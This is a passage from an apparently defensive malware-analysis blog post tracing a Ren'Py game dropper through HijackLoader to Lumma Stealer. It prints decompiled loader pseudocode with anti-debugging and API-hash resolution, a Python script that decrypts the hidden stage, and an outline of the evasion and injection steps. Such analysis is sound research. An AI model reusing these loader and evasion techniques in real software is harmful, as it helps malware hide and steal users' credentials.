v55 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[19], v25, (__int64)v21);
v51 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[64], v28, (__int64)v21);
v48 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[23], v25, (__int64)v21);
v53 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[11], v25, (__int64)v21);
v34 = (__int64 (__fastcall *)(int, const char **, __int64, __int64))ResolveExportByHash(
*(__int64 *)&argc,
(__int64)argv,
v21[39],
v25,
(__int64)v21);
v54 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[1], v25, (__int64)v21);
v64 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[25], v25, (__int64)v21);
v50 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[46], v28, (__int64)v21);
v22 = (_QWORD *)v34(argc, argv, 256LL, 64LL);
v22[3] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[28], v25, (__int64)v21);
v22[1] = v25;
v22[26] = v46;
v22[17] = v47;
v22[13] = v48;
v22[30] = v28;
v22[20] = v49;
v22[15] = v50;
v22[25] = v34;
v22[19] = v51;
v22[12] = v52;
v22[27] = v53;
v22[21] = v54;
v22[28] = v55;
v22[9] = v56;
v22[22] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[77], v28, (__int64)v21);
v22[23] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[40], v28, (__int64)v21);
v22[31] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[9], v28, (__int64)v21);
v22[7] = v21;
v40 = (__int64 (__fastcall *)(int, const char **, _QWORD, _BYTE *, _QWORD, unsigned int *))ResolveExportByHash(
*(__int64 *)&argc,
(__int64)argv,
v21[70],
v25,
(__int64)v21);
v23[0] = 0;
if ( *((_BYTE *)v65 + 16) )
{
NtQuerySystemInformation(*(__int64 *)&argc, (__int64)argv, v23, (__int64)v22);
if ( v23[0] )
{
for ( i = 0; i < 9; ++i )
sleep(
*(__int64 *)&argc,
(__int64)argv,
5000,
(__int64 (__fastcall *)(__int64, __int64, _DWORD *, _QWORD))v22[19]);
}
}
v31 = 0;
v41 = 0LL;
v35 = 0LL;
v43 = v21[60];
v44 = v21[53];
result = (unsigned __int8)LoadConfigFile(
*(__int64 *)&argc,
(__int64)argv,
(__int64)v65[1],
(__int64)v22,
(__int64 *)&v41,
(unsigned int *)&v31);
if ( (_BYTE)result )
{
result = ParseChunks(
*(__int64 *)&argc,
(__int64)argv,
v31,
v41,
&v35,
(__int64)v22,
v9,
v12,
v15,
v18,
(__int64)v21);
if ( (_BYTE)result )
{
v42 = 0LL;
v36 = v35;
v57 = v35 + 16;
result = Decompress(
*(__int64 *)&argc,
(__int64)argv,
*(unsigned int *)(v35 + 8),
v35 + 16,
*(_DWORD *)(v35 + 12),
&v42,
v10,
v13,
v16,
v19,
(__int64)v22);
if ( (_BYTE)result )
{
v30 = v42;
v32 = 0;
if ( !(unsigned int)strlen(*(__int64 *)&argc, (__int64)argv, v6, v42 + 144) )
v32 = *(_DWORD *)(v30 + 352);
v37 = *(unsigned int *)(v30 + 8) + v30 + v32 + 989;
v24 = 0;
v59 = (_BYTE *)sub_6E0(
argc,
(_DWORD)argv,
v37,
(_DWORD)v22,
(unsigned int)&v24,
v21[35],
v11,
v14,
v17,
v20,
(__int64)v21);
Basename = (_WORD *)v34(argc, argv, 522LL, 64LL);
mbtowcs(*(__int64 *)&argc, (__int64)argv, Basename, (char *)(v30 + 244));
Basename = (_WORD *)GetBasename(*(__int64 *)&argc, (__int64)argv, v7, (__int64)Basename);
LibraryW = LoadLibraryW(*(__int64 *)&argc, (__int64)argv, (__int64)Basename, (__int64)v22);
v58 = PointerToPeHeaders(*(__int64 *)&argc, (__int64)argv, v8, LibraryW);
v29 = (_BYTE *)(*(unsigned int *)(v58 + 44) + LibraryW);
v39 = (_BYTE *)v34(argc, argv, v24, 64LL);
memcpy(argc, (_DWORD)argv, v29, v39, v24);
*(_QWORD *)(v37 + 3264) = v39;
v27 = 0;
v45 = v40(argc, argv, v24, v29, v21[62], &v27);
memcpy(argc, (_DWORD)argv, v59, v29, v24);
v40(argc, argv, v24, v29, v27, &v27);
v60 = v29;
v61 = v21[62];
v62 = v29;
v63 = v24;
return ((__int64 (__fastcall *)(int, const char **, __int64, __int64, __int64, unsigned int *))v29)(
argc,
argv,
v37,
v30,
v36,
&v61);
}
}
}
return result;
}The high-level behaviour :
- PEB walking to enumerate loaded modules without using Windows API.
- Anti-debugging : calls
NtQuerySystemInformationand sleeps 5 seconds × 9 if a debugger is detected. - Loads
system-proc.xmlviaLoadConfigFile. - Parses chunks with the pattern
????IDATfrom the XML file.
The ParseChunks function :

This function concatenates all chunks matching the ????IDAT pattern in system-proc.xml.

The first one appears right after the gibberish text :

Those chunks are then XOR-decrypted and LZNT1-decompressed. I used this script to extract the next binary stage :
import struct
from dissect.util.compression import lznt1
png = open("system-proc.xml", "rb").read()
pos = png.find(b"IDAT") - 4
idat = bytearray()
while pos + 8 <= len(png):
ln = struct.unpack(">I", png[pos:pos+4])[0]
typ = png[pos+4:pos+8]
if typ == b"IDAT":
idat += png[pos+8:pos+8+ln]
pos += 12 + ln
if typ == b"IEND":
break
idat = bytes(idat)
marker, key, comp_size, decomp_size = struct.unpack_from("<IIII", idat, 0)
print(f"""
MARKER : {struct.pack('<I', marker).hex().upper()}
KEY : {struct.pack('<I', key).hex().upper()}
COMP SIZE : {int(comp_size)}
DECOMP SIZE : {int(decomp_size)}
""")
body = bytearray(idat[16:16+comp_size])
kb = struct.pack("<I", key)
for i in range(0, len(body) & ~3, 4):
for j in range(4):
body[i+j] ^= kb[j]
stage2 = lznt1.decompress(bytes(body))
open("stage2.bin", "wb").write(stage2)At this step I was a bit stuck so I asked some help to my friend : ScottKushy We looked up about this technique online, it is called IDAT Loader / HijackLoader, first seen in the wild in 2023. A lot of malware families are now abusing it.
Reference : https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader
While researching we came across this post : G DATA — PiviGames spreads HijackLoader, which was very close to my case. The author left a GitHub script to properly extract the HijackLoader configuration : https://github.com/struppigel/hedgehog-tools/tree/main/HijackLoader
HijackLoader Configuration
Running the extraction script, we managed to get all the embedded components :
AVDATA: OpenPGP Secret Key Version 2
COPYLIST: data
CUSTOMINJECT: PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections
CUSTOMINJECTPATH: ASCII text, with no line terminators
ESAL / ESAL64: data
ESLDR / ESLDR64: data / zlib compressed
ESWR / ESWR64: data
FIXED: PE32 executable (console) Intel 80386, for MS Windows
LauncherLdr64: PE32+ executable (console) x86-64, for MS Windows
modCreateProcess: data
modTask64: zlib compressed data
modUAC64: zlib compressed data
modWD64: zlib compressed data
modWriteFile64: zlib compressed data
MUTEX: data
PAYLOAD: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
tinystub / tinystub64: PE32/PE32+ executables
tinyutilitymodule.dll / tinyutilitymodule64.dll: PE DLLs
Reading CUSTOMINJECTPATH confirms that the malware drops its persistence at %TEMP%\1778015778\MicrosoftEdgeUpdate.exe, disguised as a legitimate Microsoft binary.
The Final Payload: Lumma Stealer
The PAYLOAD file is the binary launched by the other components loaded by system-proc.xml. Here is the full infection chain :

In my case the malware dropped was not an ACRStealer but a Lumma Stealer. Reversing it statically was too hard, so Scott ran the final payload and debugged it with x32dbg, which allowed us to retrieve the C2 information :

This confirms what VirusTotal shows in the relations tab after uploading the malware : VirusTotal report
Here is the full attack graph :

Conclusion
Looking up the C2 domain online confirms it's quite recent :

Unfortunately, as it is behind Cloudflare I couldn't find a way to get more information about the owners of this domain.
To summarize the full chain :
- Ren'Py wrapper → abuses the engine's import hook to silently load
sys_config - Sandbox evasion → hardware model/manufacturer check via WMI (filesystem checks are dead code)
- Bytecode dropper → hidden in
bytecode-39.rpyb, XOR-decrypts and extracts a password-protected archive - Stage 2 loader → full dropper in
libwin32.rpa, decodes an XOR-encrypted config, phones home via Clicky analytics - DLL patching →
util.dllinjects shellcode fromdisplaydef.dllintotapisrv.dll's.textsection - IDAT Loader / HijackLoader → shellcode parses PNG-like IDAT chunks from
system-proc.xml, decompresses and executes stage 3 - Lumma Stealer → final payload, exfiltrates credentials via a Cloudflare-protected C2
